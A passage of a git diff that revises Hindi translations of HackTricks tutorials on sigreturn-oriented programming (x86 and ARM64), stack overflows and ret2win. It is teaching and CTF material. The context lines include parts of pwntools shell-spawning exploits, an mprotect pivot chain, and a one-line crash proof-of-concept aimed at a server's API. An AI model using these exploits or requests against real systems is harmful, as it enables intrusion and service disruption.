सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है। +सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को **अपने पिछले स्थिति पर लौटने** की आवश्यकता होती है जैसे कुछ हुआ ही नहीं। यहीं पर **`sigreturn`** काम आता है। यह प्रोग्राम को **सिग्नल हैंडलर से लौटने** में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है। दिलचस्प बात यह है कि **`sigreturn`** प्रोग्राम की स्थिति को कैसे बहाल करता है: यह **CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके** ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो **`sigreturn` इन मानों को स्टैक से पॉप करता है**, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है। > [!CAUTION] -> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों को जोड़ना** जिन्हें हम **स्टैक** में लोड करना चाहते हैं, यह संभव है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`। +> ROP चेन से **`sigreturn`** syscall को कॉल करना और **रजिस्ट्रियों के मानों** को जोड़ना जो हम इसे **स्टैक** में लोड करना चाहते हैं, यह संभव बनाता है कि हम सभी रजिस्टर मानों को **नियंत्रित** कर सकें और इसलिए **कॉल** कर सकें, उदाहरण के लिए, syscall `execve` के साथ `/bin/sh`। + +ध्यान दें कि यह एक **Ret2syscall** का एक प्रकार होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है: -ध्यान दें कि यह एक **Ret2syscall** का **प्रकार** होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है: {{#ref}} ../rop-syscall-execv/ @@ -63,7 +64,7 @@ https://youtu.be/ADULSwnQs-s?feature=shared ## उदाहरण -आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है: +आप [**यहां एक उदाहरण पा सकते हैं**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) जहां सिग्नल लौटाने के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान `0xf` डालकर), हालांकि यह वहां से अंतिम शोषण है: ```python from pwn import * @@ -90,7 +91,7 @@ payload += bytes(frame) p.sendline(payload) p.interactive() ``` -चेक करें [**यहां से एक्सप्लॉइट**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) जहां बाइनरी पहले से ही `sigreturn` को कॉल कर रही थी और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है: +यहाँ [**यहाँ से एक्सप्लॉइट देखें**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) जहाँ बाइनरी पहले से ही `sigreturn` को कॉल कर रहा था और इसलिए इसे **ROP** के साथ बनाने की आवश्यकता नहीं है: ```python from pwn import * @@ -128,13 +129,13 @@ target.interactive() - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) -- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह संभव है कि stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखा जाए और उस फ्लैग को पढ़ा जाए जो बाइनरी की मेमोरी के अंदर है। +- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखना संभव है और बाइनरी की मेमोरी के अंदर जो फ्लैग है उसे पढ़ना संभव है। - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) -- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह संभव है कि stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग `/bin/sh` है)। +- Assembly binary जो **stack पर लिखने** की अनुमति देता है और फिर **`sigreturn`** syscall को कॉल करता है। यह stack पर एक [**ret2syscall**](../rop-syscall-execv/index.html) को **sigreturn** संरचना के माध्यम से लिखना संभव है (बाइनरी में स्ट्रिंग `/bin/sh` है)। - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) -- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/index.html) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, फिर से gets को कॉल करके, यह **`alarm`** फ़ंक्शन का दुरुपयोग करता है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके। +- 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। `gets` फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो [**ret2syscall**](../rop-syscall-execv/index.html) को निष्पादित करता है। ROP श्रृंखला `/bin/sh` को `.bss` में लिखती है, यह फिर से `gets` को कॉल करती है, यह **`alarm`** फ़ंक्शन का दुरुपयोग करती है ताकि eax को `0xf` पर सेट किया जा सके ताकि एक **SROP** को कॉल किया जा सके और एक शेल निष्पादित किया जा सके। - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) -- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा। +- 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह `exit` को कॉल करता है। चयनित syscall एक `sigreturn` है जो रजिस्टर सेट करेगा और `eip` को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को `rwx` पर सेट करने के लिए `memprotect` को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और निष्पादित करेगा। - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था। diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md index 0cfa56374..cf0bacea6 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md @@ -74,7 +74,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR ``` ## Exploit -यह एक्सप्लॉइट bof का दुरुपयोग करता है ताकि **`sigreturn`** को कॉल पर वापस लौट सके और स्टैक को **`execve`** को `/bin/sh` के पॉइंटर के साथ कॉल करने के लिए तैयार कर सके। +यह एक्सप्लॉइट bof का दुरुपयोग करता है ताकि **`sigreturn`** को कॉल करने के लिए वापस लौट सके और **`execve`** को `/bin/sh` के लिए एक पॉइंटर के साथ कॉल करने के लिए स्टैक को तैयार कर सके। ```python from pwn import * @@ -167,12 +167,14 @@ p.interactive() ``` For more info about vdso check: + {{#ref}} ../ret2vdso.md {{#endref}} And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: + {{#ref}} ../../common-binary-protections-and-bypasses/aslr/ {{#endref}} @@ -191,9 +193,9 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret ``` दोनों उपकरण **AArch64** एन्कोडिंग को समझते हैं और संभावित `mov x8, 0x8b ; svc #0` अनुक्रमों को सूचीबद्ध करेंगे जिन्हें *SROP गेजेट* के रूप में उपयोग किया जा सकता है। -> नोट: जब बाइनरी को **BTI** के साथ संकलित किया जाता है, तो हर मान्य अप्रत्यक्ष शाखा लक्ष्य का पहला निर्देश `bti c` होता है। लिंक द्वारा रखे गए `sigreturn` ट्रैम्पोलिन पहले से ही सही BTI लैंडिंग पैड शामिल करते हैं, इसलिए गेजेट अप्रिविलेज्ड कोड से उपयोग करने योग्य रहता है। +> नोट: जब बाइनरी को **BTI** के साथ संकलित किया जाता है, तो हर मान्य अप्रत्यक्ष शाखा लक्ष्य का पहला निर्देश `bti c` होता है। लिंक द्वारा रखे गए `sigreturn` ट्रैम्पोलिन पहले से ही सही BTI लैंडिंग पैड शामिल करते हैं, इसलिए गेजेट अप्रिविलेज्ड कोड से उपयोगी रहता है। -## SROP को ROP के साथ जोड़ना (pivot `mprotect` के माध्यम से) +## ROP के साथ SROP को चेन करना (pivot `mprotect` के माध्यम से) `rt_sigreturn` हमें *सभी* सामान्य-उद्देश्य रजिस्टर और `pstate` को नियंत्रित करने की अनुमति देता है। x86 पर एक सामान्य पैटर्न है: 1) `mprotect` को कॉल करने के लिए SROP का उपयोग करें, 2) शेल-कोड वाले नए निष्पादन योग्य स्टैक पर पिवट करें। वही विचार ARM64 पर भी काम करता है: ```python @@ -215,11 +217,11 @@ Linux 5.16 ने उपयोगकर्ता स्पेस सिग्न * `struct rt_sigframe` में आरक्षित शब्द शून्य होना चाहिए। * *extra_context* रिकॉर्ड में हर पॉइंटर संरेखित है और उपयोगकर्ता एड्रेस स्पेस के अंदर इंगित करता है। -`pwntools>=4.10` स्वचालित रूप से अनुपालन फ्रेम बनाता है, लेकिन यदि आप उन्हें मैन्युअल रूप से बनाते हैं तो सुनिश्चित करें कि *reserved* को शून्य-प्रारंभ करें और SVE रिकॉर्ड को छोड़ दें जब तक कि आपको वास्तव में इसकी आवश्यकता न हो—अन्यथा `rt_sigreturn` `SIGSEGV` भेजेगा बजाय इसके कि लौटे। +`pwntools>=4.10` स्वचालित रूप से अनुपालन फ्रेम बनाता है, लेकिन यदि आप उन्हें मैन्युअल रूप से बनाते हैं तो सुनिश्चित करें कि *reserved* को शून्य-प्रारंभ करें और SVE रिकॉर्ड को छोड़ दें जब तक कि आपको वास्तव में इसकी आवश्यकता न हो—अन्यथा `rt_sigreturn` `SIGSEGV` देगा बजाय इसके कि लौटे। -मुख्यधारा Android 14 और Fedora 38 से शुरू होकर, उपयोगकर्ता भूमि को **PAC** (*Pointer Authentication*) और **BTI** डिफ़ॉल्ट रूप से सक्षम किया गया है (`-mbranch-protection=standard`)। *SROP* स्वयं अप्रभावित है क्योंकि कर्नेल सीधे निर्मित फ्रेम से `PC` को ओवरराइट करता है, स्टैक पर सहेजे गए प्रमाणित LR को बायपास करता है; हालाँकि, कोई भी **पश्चात ROP चेन** जो अप्रत्यक्ष शाखाएँ करती है, उसे BTI- सक्षम निर्देशों या PACed पतों पर कूदना चाहिए। जब गैजेट्स का चयन करते समय इसे ध्यान में रखें। +मुख्यधारा Android 14 और Fedora 38 से शुरू होकर, उपयोगकर्ता भूमि को डिफ़ॉल्ट रूप से **PAC** (*Pointer Authentication*) और **BTI** सक्षम करके संकलित किया गया है (`-mbranch-protection=standard`)। *SROP* स्वयं अप्रभावित है क्योंकि कर्नेल सीधे निर्मित फ्रेम से `PC` को ओवरराइट करता है, स्टैक पर सहेजे गए प्रमाणित LR को बायपास करता है; हालाँकि, कोई भी **पश्चात ROP चेन** जो अप्रत्यक्ष शाखाएँ करती है, उसे BTI-सक्षम निर्देशों या PACed पतों पर कूदना चाहिए। जब गैजेट्स का चयन करें तो इसे ध्यान में रखें। -ARMv8.9 में पेश किए गए शैडो-काल-स्टैक्स (और पहले से ही ChromeOS 1.27+ पर सक्षम) एक कंपाइलर-स्तरीय शमन हैं और *SROP* में हस्तक्षेप नहीं करते हैं क्योंकि कोई लौटने वाले निर्देश निष्पादित नहीं होते—नियंत्रण का प्रवाह कर्नेल द्वारा स्थानांतरित किया जाता है। +ARMv8.9 में पेश किए गए शैडो-काल-स्टैक्स (और पहले से ही ChromeOS 1.27+ पर सक्षम) एक संकलक-स्तरीय शमन हैं और *SROP* में हस्तक्षेप नहीं करते हैं क्योंकि कोई लौटने वाले निर्देश निष्पादित नहीं होते—नियंत्रण का प्रवाह कर्नेल द्वारा स्थानांतरित किया जाता है। ## संदर्भ diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4a26d1a59..a1b6a5e40 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## What is a Stack Overflow -A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निकट मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं। +A **stack overflow** एक सुरक्षा कमी है जो तब होती है जब एक प्रोग्राम स्टैक में उस डेटा से अधिक डेटा लिखता है जितना कि उसे रखने के लिए आवंटित किया गया है। यह अतिरिक्त डेटा **सन्निहित मेमोरी स्थान को ओवरराइट** करेगा, जिससे वैध डेटा का भ्रष्टाचार, नियंत्रण प्रवाह में विघटन, और संभावित रूप से दुर्भावनापूर्ण कोड का निष्पादन हो सकता है। यह समस्या अक्सर असुरक्षित कार्यों के उपयोग के कारण उत्पन्न होती है जो इनपुट पर सीमा जांच नहीं करते हैं। -इस ओवरराइट का मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचक (EIP/RIP)** और **सहेजा गया बेस सूचक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा। +इस ओवरराइट की मुख्य समस्या यह है कि **सहेजा गया निर्देश सूचकांक (EIP/RIP)** और **सहेजा गया आधार सूचकांक (EBP/RBP)** जो पिछले कार्य में लौटने के लिए होते हैं, **स्टैक पर संग्रहीत** होते हैं। इसलिए, एक हमलावर उन्हें ओवरराइट करने में सक्षम होगा और **प्रोग्राम के निष्पादन प्रवाह को नियंत्रित** कर सकेगा। -यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक में आवंटित मात्रा से अधिक बाइट्स की कॉपी करता है**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है। +यह सुरक्षा कमी आमतौर पर इसलिए उत्पन्न होती है क्योंकि एक कार्य **स्टैक के अंदर उन बाइट्स की अधिक मात्रा की कॉपी करता है जो इसके लिए आवंटित हैं**, जिससे अन्य स्टैक के हिस्सों को ओवरराइट करने में सक्षम होता है। -इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, **`fgets`**, **`read` & `memcpy`** जैसे कार्य जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित से अधिक है तो एक असुरक्षित तरीके से उपयोग किए जा सकते हैं। +इससे प्रभावित कुछ सामान्य कार्य हैं: **`strcpy`, `strcat`, `sprintf`, `gets`**... इसके अलावा, ऐसे कार्य जैसे **`fgets`**, **`read` & `memcpy`** जो **लंबाई तर्क** लेते हैं, यदि निर्दिष्ट लंबाई आवंटित लंबाई से अधिक है तो उन्हें असुरक्षित तरीके से उपयोग किया जा सकता है। उदाहरण के लिए, निम्नलिखित कार्य असुरक्षित हो सकते हैं: ```c @@ -50,14 +50,15 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## स्टैक ओवरफ्लोज़ का शोषण -एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय वेरिएबल्स के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि आप सुरक्षित **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\ +एक ओवरफ्लो के दौरान (मान लेते हैं कि ओवरफ्लो का आकार पर्याप्त बड़ा है) आप स्टैक के अंदर स्थानीय चर के मानों को **ओवरराइट** करने में सक्षम होंगे जब तक कि आप सुरक्षित **EBP/RBP और EIP/RIP (या इससे भी अधिक)** तक नहीं पहुँच जाते।\ इस प्रकार की भेद्यता का दुरुपयोग करने का सबसे सामान्य तरीका **रिटर्न पते को संशोधित करना** है ताकि जब फ़ंक्शन समाप्त हो, तो **नियंत्रण प्रवाह उस पते पर पुनर्निर्देशित हो जाए जो उपयोगकर्ता ने निर्दिष्ट किया है**। -हालांकि, अन्य परिदृश्यों में केवल **स्टैक में कुछ वेरिएबल्स के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)। +हालांकि, अन्य परिदृश्यों में केवल **स्टैक में कुछ चर के मानों को ओवरराइट करना** शोषण के लिए पर्याप्त हो सकता है (जैसे आसान CTF चुनौतियों में)। ### Ret2win -इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** ढूंढना है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाए: +इस प्रकार की CTF चुनौतियों में, बाइनरी के अंदर एक **फंक्शन** है जो **कभी नहीं बुलाया जाता** और जिसे **आपको जीतने के लिए बुलाना होगा**। इन चुनौतियों के लिए आपको केवल **रिटर्न पते को ओवरराइट करने के लिए ऑफसेट** खोजने की आवश्यकता है और **बुलाने के लिए फंक्शन का पता** लगाना है (आमतौर पर [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) अक्षम होगा) ताकि जब कमजोर फ़ंक्शन लौटे, तो छिपा हुआ फ़ंक्शन बुलाया जाएगा: + {{#ref}} ret2win/ @@ -67,14 +68,16 @@ ret2win/ इस परिदृश्य में हमलावर स्टैक में एक शेलकोड रख सकता है और नियंत्रित EIP/RIP का दुरुपयोग करके शेलकोड पर कूद सकता है और मनमाने कोड को निष्पादित कर सकता है: + {{#ref}} stack-shellcode/ {{#endref}} -### ROP और Ret2... तकनीकें +### ROP & Ret2... तकनीकें यह तकनीक मुख्य सुरक्षा को बायपास करने के लिए मौलिक ढांचा है: **कोई निष्पादन योग्य स्टैक (NX)**। और यह कई अन्य तकनीकों (ret2lib, ret2syscall...) को निष्पादित करने की अनुमति देती है जो बाइनरी में मौजूदा निर्देशों का दुरुपयोग करके मनमाने आदेशों को निष्पादित करेंगी: + {{#ref}} ../rop-return-oriented-programing/ {{#endref}} @@ -83,6 +86,7 @@ stack-shellcode/ एक ओवरफ्लो हमेशा स्टैक में नहीं होगा, यह **हीप** में भी हो सकता है, उदाहरण के लिए: + {{#ref}} ../libc-heap/heap-overflow.md {{#endref}} @@ -91,6 +95,7 @@ stack-shellcode/ भेद्यताओं के शोषण को रोकने के लिए कई सुरक्षा उपाय हैं, उन्हें देखें: + {{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}} @@ -107,23 +112,23 @@ sscanf(uri, "%*[^/]/%2s/%s", version, endpoint); ``` 1. पहला रूपांतरण (`%2s`) सुरक्षित रूप से **दो** बाइट्स को `version` में स्टोर करता है (जैसे कि `"v1"`). 2. दूसरा रूपांतरण (`%s`) **कोई लंबाई निर्दिष्ट नहीं करता**, इसलिए `sscanf` **पहले NUL बाइट** तक कॉपी करना जारी रखेगा. -3. क्योंकि `endpoint` **स्टैक** पर स्थित है और इसकी लंबाई **0x800 बाइट्स** है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है ‑ जिसमें **स्टैक कैनरी** और **सहेजा गया लौटने का पता** शामिल है. +3. क्योंकि `endpoint` **स्टैक** पर स्थित है और इसकी लंबाई **0x800 बाइट्स** है, 0x800 बाइट्स से लंबा पथ प्रदान करने से बफर के बाद जो कुछ भी है, वह सब भ्रष्ट हो जाता है ‑ जिसमें **स्टैक कैनरी** और **सहेजा गया रिटर्न पता** शामिल है. -एकल-पंक्ति प्रमाण-का-धारणा क्रैश को **प्रमाणन से पहले** ट्रिगर करने के लिए पर्याप्त है: +एकल-लाइन प्रूफ-ऑफ-कॉन्सेप्ट क्रैश को **प्रमाणीकरण से पहले** ट्रिगर करने के लिए पर्याप्त है: ```python import requests, warnings warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -हालाँकि स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर को फिर भी एक **Denial-of-Service** प्राइमिटिव प्राप्त होता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ीक्यूशन)। सबक सरल है: +भले ही स्टैक कैनरी प्रक्रिया को समाप्त कर देते हैं, एक हमलावर अभी भी एक **Denial-of-Service** प्राइमिटिव प्राप्त करता है (और, अतिरिक्त जानकारी लीक के साथ, संभवतः कोड-एक्ज़ेक्यूशन)। सबक सरल है: * हमेशा एक **अधिकतम फ़ील्ड चौड़ाई** प्रदान करें (जैसे `%511s`)। * `snprintf`/`strncpy_s` जैसे सुरक्षित विकल्पों को प्राथमिकता दें। ### वास्तविक-विश्व उदाहरण: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server) -NVIDIA का Triton Inference Server (≤ v25.06) में कई **स्टैक-आधारित ओवरफ्लो** शामिल थे जो इसके HTTP API के माध्यम से पहुँचे जा सकते थे। +NVIDIA का Triton Inference Server (≤ v25.06) में कई **स्टैक-आधारित ओवरफ्लो** शामिल थे जो इसके HTTP API के माध्यम से पहुंच योग्य थे। कमजोर पैटर्न बार-बार `http_server.cc` और `sagemaker_server.cc` में दिखाई दिया: ```c int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0); diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md index 9d1782699..6e9f6aabf 100644 --- a/src/binary-exploitation/stack-overflow/ret2win/README.md +++ b/src/binary-exploitation/stack-overflow/ret2win/README.md @@ -27,7 +27,7 @@ vulnerable_function(); return 0; } ``` -इस प्रोग्राम को स्टैक सुरक्षा के बिना और **ASLR** को निष्क्रिय करके संकलित करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं: +इस प्रोग्राम को स्टैक सुरक्षा के बिना और **ASLR** को बंद करके संकलित करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` @@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ### Python Exploit using Pwntools -हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगा और रिटर्न एड्रेस को `win` फ़ंक्शन के पते से ओवरराइट करेगा। +हम एक्सप्लॉइट के लिए **pwntools** का उपयोग करेंगे, जो एक्सप्लॉइट लिखने के लिए एक शक्तिशाली CTF ढांचा है। एक्सप्लॉइट स्क्रिप्ट एक पेलोड बनाएगी जो बफर को ओवरफ्लो करेगी और रिटर्न एड्रेस को `win` फ़ंक्शन के पते से ओवरराइट करेगी। ```python from pwn import * @@ -65,11 +65,11 @@ objdump -d vulnerable | grep win ``` यह कमांड आपको `win` फ़ंक्शन का असेंबली दिखाएगा, जिसमें इसका प्रारंभिक पता शामिल है। -Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो यह `main` पर लौटने या बाहर निकलने के बजाय `win` पर कूदता है, और संदेश प्रिंट होता है। +Python स्क्रिप्ट एक सावधानीपूर्वक तैयार किया गया संदेश भेजती है जो, जब `vulnerable_function` द्वारा संसाधित किया जाता है, तो बफर को ओवरफ्लो करता है और स्टैक पर रिटर्न पते को `win` के पते से ओवरराइट करता है। जब `vulnerable_function` लौटता है, तो `main` पर लौटने या बाहर निकलने के बजाय, यह `win` पर कूदता है, और संदेश प्रिंट होता है। ## सुरक्षा -- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान होता है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पता प्राप्त करने का **1/16 मौका** (1 निबल) होता है। +- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **को बंद किया जाना चाहिए** ताकि पता निष्पादन के दौरान विश्वसनीय हो या जिस पते पर फ़ंक्शन संग्रहीत होगा वह हमेशा एक जैसा नहीं होगा और आपको यह पता लगाने के लिए कुछ लीक की आवश्यकता होगी कि `win` फ़ंक्शन कहाँ लोड है। कुछ मामलों में, जब ओवरफ्लो का कारण बनने वाला फ़ंक्शन `read` या समान है, तो आप रिटर्न पते को `win` फ़ंक्शन में बदलने के लिए 1 या 2 बाइट्स का **आंशिक ओवरराइट** कर सकते हैं। ASLR के काम करने के तरीके के कारण, अंतिम तीन हेक्स निबल यादृच्छिक नहीं होते हैं, इसलिए सही रिटर्न पते को प्राप्त करने का **1/16 मौका** (1 निबल) होता है। - [**स्टैक कैनरीज़**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) को भी बंद किया जाना चाहिए या समझौता किया गया EIP रिटर्न पता कभी नहीं फॉलो किया जाएगा। ## अन्य उदाहरण और संदर्भ @@ -90,16 +90,17 @@ Python स्क्रिप्ट एक सावधानीपूर्व - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html) - 32 बिट, nx, कुछ और नहीं, 